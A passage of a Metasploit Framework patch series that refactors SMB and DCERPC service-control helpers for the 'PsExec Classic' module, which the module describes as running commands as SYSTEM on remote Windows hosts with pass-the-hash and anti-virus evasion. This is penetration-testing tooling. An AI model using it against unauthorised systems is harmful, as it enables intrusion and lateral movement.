client to use. + # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), + # 1 if the service is running, and 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end + +end +end diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb new file mode 100644 index 000000000000..eb2bbbd82d04 --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'digest' + +module Msf + +#### +# This allows one to extract PSEXESVC.EXE from Microsoft Sysinternal's +# PsExec.exe. +#### +module Exploit::Remote::SMB::PsexecSvc + + # Returns the bytes for PSEXESVC.EXE on success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String] the bytes corresponding to PSEXESVC.EXE. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # If we were given a path to v1.98 (the latest as of the + # time of this writing), then we set the read offset and + # file size accordingly. Otherwise, we fail. Future + # versions of PsExec can be handled by adding the new + # hash, offset, and size to this code. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + read_offset = 193288 + bytes_to_read = 181064 + else + if verbose + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + end + return nil + end + + if verbose + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close + + return psexesvc + end + +end +end diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 47e0ea3ffc99..eaa4790bde2f 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -5,16 +5,17 @@ # http://metasploit.com/ ## -require 'digest' require 'msf/core' require 'rex/proto/smb/constants' require 'rex/proto/smb/exceptions' +require 'msf/core/exploit/smb/psexec_svc' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc def initialize(info = {}) super(update_info(info, @@ -49,22 +50,7 @@ def run() psexec_path = datastore['PSEXEC_PATH'] command = datastore['COMMAND'] - # Make sure that the user provided a path to the latest version - # of PsExec (v1.98) by examining the file's hash. - print_status("Calculating SHA-256 hash of #{psexec_path}...") - hash = Digest::SHA256.file(psexec_path).hexdigest - if hash != 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' - print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") - return false - end - - print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") - - # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(datastore['PSEXEC_PATH'], 'rb') - hPsExec.seek(193288) - psexesvc = hPsExec.read(181064) - hPsExec.close + psexesvc = extract_psexesvc(psexec_path, true) print_status("Connecting to #{datastore['RHOST']}...") if not connect @@ -114,103 +100,59 @@ def run() dcerpc_bind(handle) print_status("Successfully bound to #{handle} ...") - ## - # OpenSCManagerW() - ## - print_status("Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + print_error('Failed to obtain handle to service control manager.') + return end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - ## - # CreateServiceW() - ## - - svc_handle = nil - svc_status = nil - - print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") - stubdata = scm_handle + - NDR.wstring('PSEXESVC') + - NDR.uwstring('PsExec') + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000010) + # Type: Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring('%SystemRoot%\PSEXESVC.EXE') + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("Error: #{e}") - return - end + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + print_error('Error while creating new service.') + return + end - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + # Close the handle to the service. + if not dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end - ## - # OpenServiceW - ## - print_status("Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring('PSEXESVC') + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] + rescue ::Exception => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - ## - # StartService() - ## - print_status("Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + print_error('Failed to open service.') + return end + + # Start the service. + print_status('Starting the service...') + if not dce_startservice(dcerpc, svc_handle) + print_error('Failed to start the service.') + return + end + rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") return end @@ -373,42 +315,40 @@ def run() smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil smbclient.close(psexecsvc_proc.file_id) rescue nil - - ## - # ControlService() - ## - print_status("Stopping the service...") + # Stop the service. begin - response = dcerpc.call(0x01, svc_handle + NDR.long(1)) + print_status('Stopping the service...') + if not dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end - + # Wait a little bit for it to stop before we delete the service. if wait_for_service_to_stop(svc_handle) == false print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') end - ## - # DeleteService() - ## - print_status("Removing the service...") + # Delete the service. begin - response = dcerpc.call(0x02, svc_handle) - rescue ::Exception => e - print_error("Error: #{e}") - end + print_status("Removing the service...") + if not dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) + print_status("Closing service handle...") + if not dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end + # Disconnect from the IPC$ share. print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") @@ -461,19 +401,7 @@ def wait_for_service_to_stop(svc_handle) while (retries < 3) and (service_stopped == false) select(nil, nil, nil, retries) - ## - # QueryServiceStatus() - ## - begin - response = dcerpc.call(0x06, svc_handle) - rescue ::Exception => e - print_error("Error: #{e}") - return false - end - - # This byte string signifies that the service is - # stopped. - if response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + if dce_queryservice(dcerpc, svc_handle) == 2 service_stopped = true else retries += 1 From 1ab01f15d99140aced373e3a9888982573ed9ab6 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 6 Jan 2014 15:16:50 -0500 Subject: [PATCH 04/15] Added support for PsExec v2.0, fixed spacing, and resolve merge conflicts. --- lib/msf/core/exploit/dcerpc.rb | 9 +- lib/msf/core/exploit/smb/psexec_svc.rb | 81 +- lib/rex/proto/smb/client.rb | 319 +----- modules/auxiliary/admin/smb/psexec_classic.rb | 915 ++++++++++-------- 4 files changed, 597 insertions(+), 727 deletions(-) diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 2fdd82117aa6..dcdb2a45f63c 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -29,18 +29,11 @@ module Exploit::Remote::DCERPC # Support TCP-based RPC services include Exploit::Remote::Tcp -<<<<<<< HEAD - # Helper methods for specific services - include Exploit::Remote::DCERPC_EPM - include Exploit::Remote::DCERPC_MGMT - include Exploit::Remote::DCERPC_LSA - include Exploit::Remote::DCERPC_SERVICES -======= # Helper methods for specific services include Exploit::Remote::DCERPC_EPM include Exploit::Remote::DCERPC_MGMT include Exploit::Remote::DCERPC_LSA ->>>>>>> upstream/master + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb index eb2bbbd82d04..5f82ccbc49b1 100644 --- a/lib/msf/core/exploit/smb/psexec_svc.rb +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -9,45 +9,52 @@ module Msf #### module Exploit::Remote::SMB::PsexecSvc - # Returns the bytes for PSEXESVC.EXE on success, or nil on error. - # - # @param psexec_path [String] the local filesystem path to PsExec.exe - # @param verbose [Boolean] true if verbosity is desired, false if otherwise. - # - # @return [String] the bytes corresponding to PSEXESVC.EXE. - def extract_psexesvc(psexec_path, verbose = false) - read_offset = 0 - bytes_to_read = 0 - if verbose - print_status("Calculating SHA-256 hash of #{psexec_path}...") - end - hash = Digest::SHA256.file(psexec_path).hexdigest - # If we were given a path to v1.98 (the latest as of the - # time of this writing), then we set the read offset and - # file size accordingly. Otherwise, we fail. Future - # versions of PsExec can be handled by adding the new - # hash, offset, and size to this code. - if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' - read_offset = 193288 - bytes_to_read = 181064 - else - if verbose - print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") - end - return nil - end + # Returns the bytes for PSEXESVC.EXE and the version of PsExec in use on + # success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String],[Float] the bytes corresponding to PSEXESVC.EXE, and + # the version of PsExec in use, respectively. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + psexec_version = nil + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # The read offset and size of the PSEXESVC.EXE binary for v1.98 is + # 193,288 and 181,064, respectively. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + psexec_version = 1.98 + read_offset = 193288 + bytes_to_read = 181064 + # For v2.0... + elsif hash == '3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2' + psexec_version = 2.0 + read_offset = 194312 + bytes_to_read = 185160 + else + if verbose + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\n" + + " or\n 3c26ef3208a8bf6c2a23d46ef15c238197f528c04877db0bac2a090d15ec53b2\nActual: #{hash}\nEnsure that you have PsExec v1.98 or v2.0.") + end + return nil + end - if verbose - print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") - end - # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(psexec_path, 'rb') - hPsExec.seek(read_offset) - psexesvc = hPsExec.read(bytes_to_read) - hPsExec.close + if verbose + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close - return psexesvc - end + return psexesvc, psexec_version + end end end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 3550cf1a5bf6..ee032a71af98 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -142,32 +142,18 @@ def smb_send(data, evasion_level=0) end end -<<<<<<< HEAD - # Set the SMB parameters to some reasonable defaults - def smb_defaults(packet) - packet.v['MultiplexID'] = self.multiplex_id.to_i - packet.v['TreeID'] = self.last_tree_id.to_i - packet.v['UserID'] = self.auth_user_id.to_i - packet.v['ProcessID'] = self.process_id.to_i - self.multiplex_id = (self.multiplex_id + 16) % 65536 - end - - - # The main dispatcher for all incoming SMB packets - def smb_recv_parse(expected_type, ignore_errors = false) -======= # Set the SMB parameters to some reasonable defaults def smb_defaults(packet) packet.v['MultiplexID'] = self.multiplex_id.to_i packet.v['TreeID'] = self.last_tree_id.to_i packet.v['UserID'] = self.auth_user_id.to_i packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 end # The main dispatcher for all incoming SMB packets def smb_recv_parse(expected_type, ignore_errors = false) ->>>>>>> upstream/master # This will throw an exception if it fails to read the whole packet data = self.smb_recv @@ -1286,271 +1272,6 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) end pkt['Payload']['SMB'].v['WordCount'] = 14 - -<<<<<<< HEAD - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - pkt['Payload'].v['Reserved2'] = -1 - pkt['Payload'].v['WriteMode'] = 8 - pkt['Payload'].v['Remaining'] = data.length - # pkt['Payload'].v['DataLenHigh'] = (data.length / 65536).to_i - pkt['Payload'].v['DataLenLow'] = (data.length % 65536).to_i - pkt['Payload'].v['DataOffset'] = data_offset + filler.length - pkt['Payload'].v['Payload'] = filler + data - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) - - return ack - end - - def write_raw(file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) - - pkt = CONST::SMB_WRITE_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = flags1 - pkt['Payload']['SMB'].v['Flags2'] = flags2 - - pkt['Payload']['SMB'].v['WordCount'] = wordcount - - pkt['Payload'].v['AndX'] = andx_command - pkt['Payload'].v['AndXOffset'] = andx_offset - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - pkt['Payload'].v['Reserved2'] = -1 - pkt['Payload'].v['WriteMode'] = write_mode - pkt['Payload'].v['Remaining'] = remaining - pkt['Payload'].v['DataLenHigh'] = data_len_high - pkt['Payload'].v['DataLenLow'] = data_len_low - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['HighOffset'] = high_offset - pkt['Payload'].v['ByteCount'] = byte_count - - pkt['Payload'].v['Payload'] = data - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) - return ack - end - - # Reads data from an open file handle - def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) - - pkt = CONST::SMB_READ_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 10 - - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - # pkt['Payload'].v['MaxCountHigh'] = (data_length / 65536).to_i - pkt['Payload'].v['MaxCountLow'] = (data_length % 65536).to_i - pkt['Payload'].v['MinCount'] = data_length - pkt['Payload'].v['Reserved2'] = -1 - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_READ_ANDX, true) - - err = ack['Payload']['SMB'].v['ErrorClass'] - - # Catch some non-fatal error codes - if (err != 0 && err != CONST::SMB_ERROR_BUFFER_OVERFLOW) - failure = XCEPT::ErrorCode.new - failure.word_count = ack['Payload']['SMB'].v['WordCount'] - failure.command = ack['Payload']['SMB'].v['Command'] - failure.error_code = ack['Payload']['SMB'].v['ErrorClass'] - raise failure - end - - return ack - end - - - # Perform a transaction against a named pipe - def trans_named_pipe(file_id, data = '', no_response = nil) - pipe = EVADE.make_trans_named_pipe_name(evasion_opts['pad_file']) - self.trans(pipe, '', data, 2, [0x26, file_id].pack('vv'), no_response) - end - - # Perform a mailslot write over SMB - # Warning: This can kill srv.sys unless MS06-035 is applied - def trans_mailslot (name, data = '') - # Setup data must be: - # Operation: 1 (write) - # Priority: 0 - # Class: Reliable - self.trans_maxzero(name, '', data, 3, [1, 0, 1].pack('vvv'), true ) - end - - # Perform a transaction against a given pipe name - def trans(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) - - # Null-terminate the pipe parameter if needed - if (pipe[-1,1] != "\x00") - pipe << "\x00" - end - - pkt = CONST::SMB_TRANS_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - # Packets larger than mlen will cause XP SP2 to disconnect us ;-( - mlen = 4200 - - # Figure out how much space is taken up by our current arguments - xlen = pipe.length + param.length + body.length - - filler1 = '' - filler2 = '' - - # Fill any available space depending on the evasion settings - if (xlen < mlen) - filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - end - - # Squish the whole thing together - data = pipe + filler1 + param + filler2 + body - - # Throw some form of a warning out? - if (data.length > mlen) - # XXX This call will more than likely fail :-( - end - - # Calculate all of the offsets - base_offset = pkt.to_s.length + (setup_count * 2) - 4 - param_offset = base_offset + pipe.length + filler1.length - data_offset = param_offset + filler2.length + param.length - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count - - pkt['Payload'].v['ParamCountTotal'] = param.length - pkt['Payload'].v['DataCountTotal'] = body.length - pkt['Payload'].v['ParamCountMax'] = 1024 - pkt['Payload'].v['DataCountMax'] = 65000 - pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset - pkt['Payload'].v['DataCount'] = body.length - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['SetupCount'] = setup_count - pkt['Payload'].v['SetupData'] = setup_data - - pkt['Payload'].v['Payload'] = data - - if no_response - pkt['Payload'].v['Flags'] = 2 - end - - ret = self.smb_send(pkt.to_s) - return ret if no_response or not do_recv - - self.smb_recv_parse(CONST::SMB_COM_TRANSACTION) - end - - - - # Perform a transaction against a given pipe name - # Difference from trans: sets MaxParam/MaxData to zero - # This is required to trigger mailslot bug :-( - def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) - - # Null-terminate the pipe parameter if needed - if (pipe[-1] != 0) - pipe << "\x00" - end - - pkt = CONST::SMB_TRANS_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - # Packets larger than mlen will cause XP SP2 to disconnect us ;-( - mlen = 4200 - - # Figure out how much space is taken up by our current arguments - xlen = pipe.length + param.length + body.length - - filler1 = '' - filler2 = '' - - # Fill any available space depending on the evasion settings - if (xlen < mlen) - filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - end - - # Squish the whole thing together - data = pipe + filler1 + param + filler2 + body - - # Throw some form of a warning out? - if (data.length > mlen) - # XXX This call will more than likely fail :-( - end - - # Calculate all of the offsets - base_offset = pkt.to_s.length + (setup_count * 2) - 4 - param_offset = base_offset + pipe.length + filler1.length - data_offset = param_offset + filler2.length + param.length - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count - - pkt['Payload'].v['ParamCountTotal'] = param.length - pkt['Payload'].v['DataCountTotal'] = body.length - pkt['Payload'].v['ParamCountMax'] = 0 - pkt['Payload'].v['DataCountMax'] = 0 - pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset - pkt['Payload'].v['DataCount'] = body.length - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['SetupCount'] = setup_count - pkt['Payload'].v['SetupData'] = setup_data - - pkt['Payload'].v['Payload'] = data - - if no_response - pkt['Payload'].v['Flags'] = 2 - end - - ret = self.smb_send(pkt.to_s) - return ret if no_response or not do_recv -======= pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['FileID'] = file_id pkt['Payload'].v['Offset'] = offset @@ -1571,6 +1292,43 @@ def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', end + # Used by auxiliary/admin/smb/psexec_classic.rb to send ANDX writes with + # greater precision. + def write_raw(args) +#file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) + + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = args['flags1'] + pkt['Payload']['SMB'].v['Flags2'] = args['flags2'] + + pkt['Payload']['SMB'].v['WordCount'] = args['wordcount'] + + pkt['Payload'].v['AndX'] = args['andx_command'] + pkt['Payload'].v['AndXOffset'] = args['andx_offset'] + pkt['Payload'].v['FileID'] = args['file_id'] + pkt['Payload'].v['Offset'] = args['offset'] + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = args['write_mode'] + pkt['Payload'].v['Remaining'] = args['remaining'] + pkt['Payload'].v['DataLenHigh'] = args['data_len_high'] + pkt['Payload'].v['DataLenLow'] = args['data_len_low'] + pkt['Payload'].v['DataOffset'] = args['data_offset'] + pkt['Payload'].v['HighOffset'] = args['high_offset'] + pkt['Payload'].v['ByteCount'] = args['byte_count'] + + pkt['Payload'].v['Payload'] = args['data'] + + ret = self.smb_send(pkt.to_s) + return ret if not args['do_recv'] + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end + + # Reads data from an open file handle def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) @@ -1781,7 +1539,6 @@ def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', ret = self.smb_send(pkt.to_s) return ret if no_response or not do_recv ->>>>>>> upstream/master self.smb_recv_parse(CONST::SMB_COM_TRANSACTION) end diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index eaa4790bde2f..30660bf579e2 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -12,401 +10,516 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated - include Msf::Exploit::Remote::SMB::PsexecSvc - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'PsExec Classic', - 'Description' => %q{ - This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful - because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec - (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. - Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) - so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. - }, - 'Author' => - [ - 'Joe Testa ', - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] - ], - 'Platform' => 'win', - )) - - register_options( - [ - OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), - OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) - ], self.class ) - end - - def run() - psexec_path = datastore['PSEXEC_PATH'] - command = datastore['COMMAND'] - - psexesvc = extract_psexesvc(psexec_path, true) - - print_status("Connecting to #{datastore['RHOST']}...") - if not connect - print_error("Failed to connect.") - return false - end - - print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") - smb_login - - if (not simple.client.auth_user) - print_error("Server granted 